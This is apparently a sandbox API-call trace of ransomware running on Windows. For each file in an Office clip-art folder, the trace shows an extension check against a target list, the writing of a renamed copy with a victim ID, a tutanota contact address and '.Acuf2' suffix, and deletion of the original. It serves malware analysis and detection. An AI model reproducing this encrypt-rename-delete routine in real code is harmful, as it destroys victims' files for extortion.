	[0274.210] lstrlenW (lpString=".xlsx") returned 5
	[0274.210] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0274.210] lstrlenW (lpString=".ppt") returned 4
	[0274.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63
	[0274.210] lstrlenW (lpString=".zip") returned 4
	[0274.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.210] lstrlenW (lpString=".rar") returned 4
	[0274.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.210] lstrlenW (lpString=".bz2") returned 4
	[0274.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.210] lstrlenW (lpString=".7z") returned 3
	[0274.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63
	[0274.211] lstrlenW (lpString=".dbf") returned 4
	[0274.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63
	[0274.211] lstrlenW (lpString=".1cd") returned 4
	[0274.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63
	[0274.211] lstrlenW (lpString=".jpg") returned 4
	[0274.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.211] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=13784) returned 1
	[0274.211] CloseHandle (hObject=0x374) returned 1
	[0274.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 0x20
	[0274.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0274.212] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.212] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.212] GetLastError () returned 0x0
	[0274.212] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x35d8, lpOverlapped=0x0) returned 1
	[0274.214] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x35e0, lpOverlapped=0x0) returned 1
	[0274.215] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.215] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.215] SetEndOfFile (hFile=0x220) returned 1
	[0274.215] CloseHandle (hObject=0x220) returned 1
	[0274.215] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.215] SetEndOfFile (hFile=0x374) returned 1
	[0274.217] CloseHandle (hObject=0x374) returned 1
	[0274.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 1
	[0274.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63
	[0274.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63
	[0274.218] lstrlenW (lpString=".doc") returned 4
	[0274.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.218] lstrlenW (lpString=".docx") returned 5
	[0274.218] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.218] lstrlenW (lpString=".pdf") returned 4
	[0274.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.218] lstrlenW (lpString=".xls") returned 4
	[0274.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.219] lstrlenW (lpString=".xlsx") returned 5
	[0274.219] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.219] lstrlenW (lpString=".ppt") returned 4
	[0274.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63
	[0274.219] lstrlenW (lpString=".zip") returned 4
	[0274.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.219] lstrlenW (lpString=".rar") returned 4
	[0274.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.219] lstrlenW (lpString=".bz2") returned 4
	[0274.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.219] lstrlenW (lpString=".7z") returned 3
	[0274.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63
	[0274.219] lstrlenW (lpString=".dbf") returned 4
	[0274.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63
	[0274.219] lstrlenW (lpString=".1cd") returned 4
	[0274.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63
	[0274.219] lstrlenW (lpString=".jpg") returned 4
	[0274.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.220] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3020) returned 1
	[0274.220] CloseHandle (hObject=0x374) returned 1
	[0274.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 0x20
	[0274.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0274.220] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.220] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.221] GetLastError () returned 0x0
	[0274.221] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xbcc, lpOverlapped=0x0) returned 1
	[0274.222] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xbd0, lpOverlapped=0x0) returned 1
	[0274.223] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.223] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.223] SetEndOfFile (hFile=0x220) returned 1
	[0274.223] CloseHandle (hObject=0x220) returned 1
	[0274.223] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.223] SetEndOfFile (hFile=0x374) returned 1
	[0274.225] CloseHandle (hObject=0x374) returned 1
	[0274.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 1
	[0274.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63
	[0274.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63
	[0274.225] lstrlenW (lpString=".doc") returned 4
	[0274.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.225] lstrlenW (lpString=".docx") returned 5
	[0274.225] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0274.225] lstrlenW (lpString=".pdf") returned 4
	[0274.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.226] lstrlenW (lpString=".xls") returned 4
	[0274.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.226] lstrlenW (lpString=".xlsx") returned 5
	[0274.226] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0274.226] lstrlenW (lpString=".ppt") returned 4
	[0274.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63
	[0274.226] lstrlenW (lpString=".zip") returned 4
	[0274.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.226] lstrlenW (lpString=".rar") returned 4
	[0274.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.226] lstrlenW (lpString=".bz2") returned 4
	[0274.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.226] lstrlenW (lpString=".7z") returned 3
	[0274.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63
	[0274.226] lstrlenW (lpString=".dbf") returned 4
	[0274.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63
	[0274.226] lstrlenW (lpString=".1cd") returned 4
	[0274.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63
	[0274.226] lstrlenW (lpString=".jpg") returned 4
	[0274.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.227] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=7632) returned 1
	[0274.227] CloseHandle (hObject=0x374) returned 1
	[0274.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 0x20
	[0274.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0274.227] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.227] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.228] GetLastError () returned 0x0
	[0274.228] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1dd0, lpOverlapped=0x0) returned 1
	[0274.402] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1de0, lpOverlapped=0x0) returned 1
	[0274.403] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.403] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.403] SetEndOfFile (hFile=0x220) returned 1
	[0274.608] CloseHandle (hObject=0x220) returned 1
	[0274.609] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.609] SetEndOfFile (hFile=0x374) returned 1
	[0274.610] CloseHandle (hObject=0x374) returned 1
	[0274.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 1
	[0274.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63
	[0274.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63
	[0274.611] lstrlenW (lpString=".doc") returned 4
	[0274.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.611] lstrlenW (lpString=".docx") returned 5
	[0274.611] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0274.611] lstrlenW (lpString=".pdf") returned 4
	[0274.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.611] lstrlenW (lpString=".xls") returned 4
	[0274.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.611] lstrlenW (lpString=".xlsx") returned 5
	[0274.611] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0274.611] lstrlenW (lpString=".ppt") returned 4
	[0274.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63
	[0274.611] lstrlenW (lpString=".zip") returned 4
	[0274.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.612] lstrlenW (lpString=".rar") returned 4
	[0274.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.612] lstrlenW (lpString=".bz2") returned 4
	[0274.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.612] lstrlenW (lpString=".7z") returned 3
	[0274.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63
	[0274.612] lstrlenW (lpString=".dbf") returned 4
	[0274.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63
	[0274.612] lstrlenW (lpString=".1cd") returned 4
	[0274.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63
	[0274.612] lstrlenW (lpString=".jpg") returned 4
	[0274.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.612] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=9968) returned 1
	[0274.612] CloseHandle (hObject=0x374) returned 1
	[0274.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 0x20
	[0274.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0274.613] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.613] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.614] GetLastError () returned 0x0
	[0274.614] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x26f0, lpOverlapped=0x0) returned 1
	[0274.615] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2700, lpOverlapped=0x0) returned 1
	[0274.616] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.616] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.616] SetEndOfFile (hFile=0x220) returned 1
	[0274.616] CloseHandle (hObject=0x220) returned 1
	[0274.616] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.616] SetEndOfFile (hFile=0x374) returned 1
	[0274.618] CloseHandle (hObject=0x374) returned 1
	[0274.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 1
	[0274.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63
	[0274.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63
	[0274.619] lstrlenW (lpString=".doc") returned 4
	[0274.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.619] lstrlenW (lpString=".docx") returned 5
	[0274.619] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.619] lstrlenW (lpString=".pdf") returned 4
	[0274.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.619] lstrlenW (lpString=".xls") returned 4
	[0274.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.619] lstrlenW (lpString=".xlsx") returned 5
	[0274.619] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.619] lstrlenW (lpString=".ppt") returned 4
	[0274.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63
	[0274.619] lstrlenW (lpString=".zip") returned 4
	[0274.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.620] lstrlenW (lpString=".rar") returned 4
	[0274.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.620] lstrlenW (lpString=".bz2") returned 4
	[0274.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.620] lstrlenW (lpString=".7z") returned 3
	[0274.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63
	[0274.620] lstrlenW (lpString=".dbf") returned 4
	[0274.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63
	[0274.620] lstrlenW (lpString=".1cd") returned 4
	[0274.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63
	[0274.620] lstrlenW (lpString=".jpg") returned 4
	[0274.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.620] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=20212) returned 1
	[0274.620] CloseHandle (hObject=0x374) returned 1
	[0274.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 0x20
	[0274.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
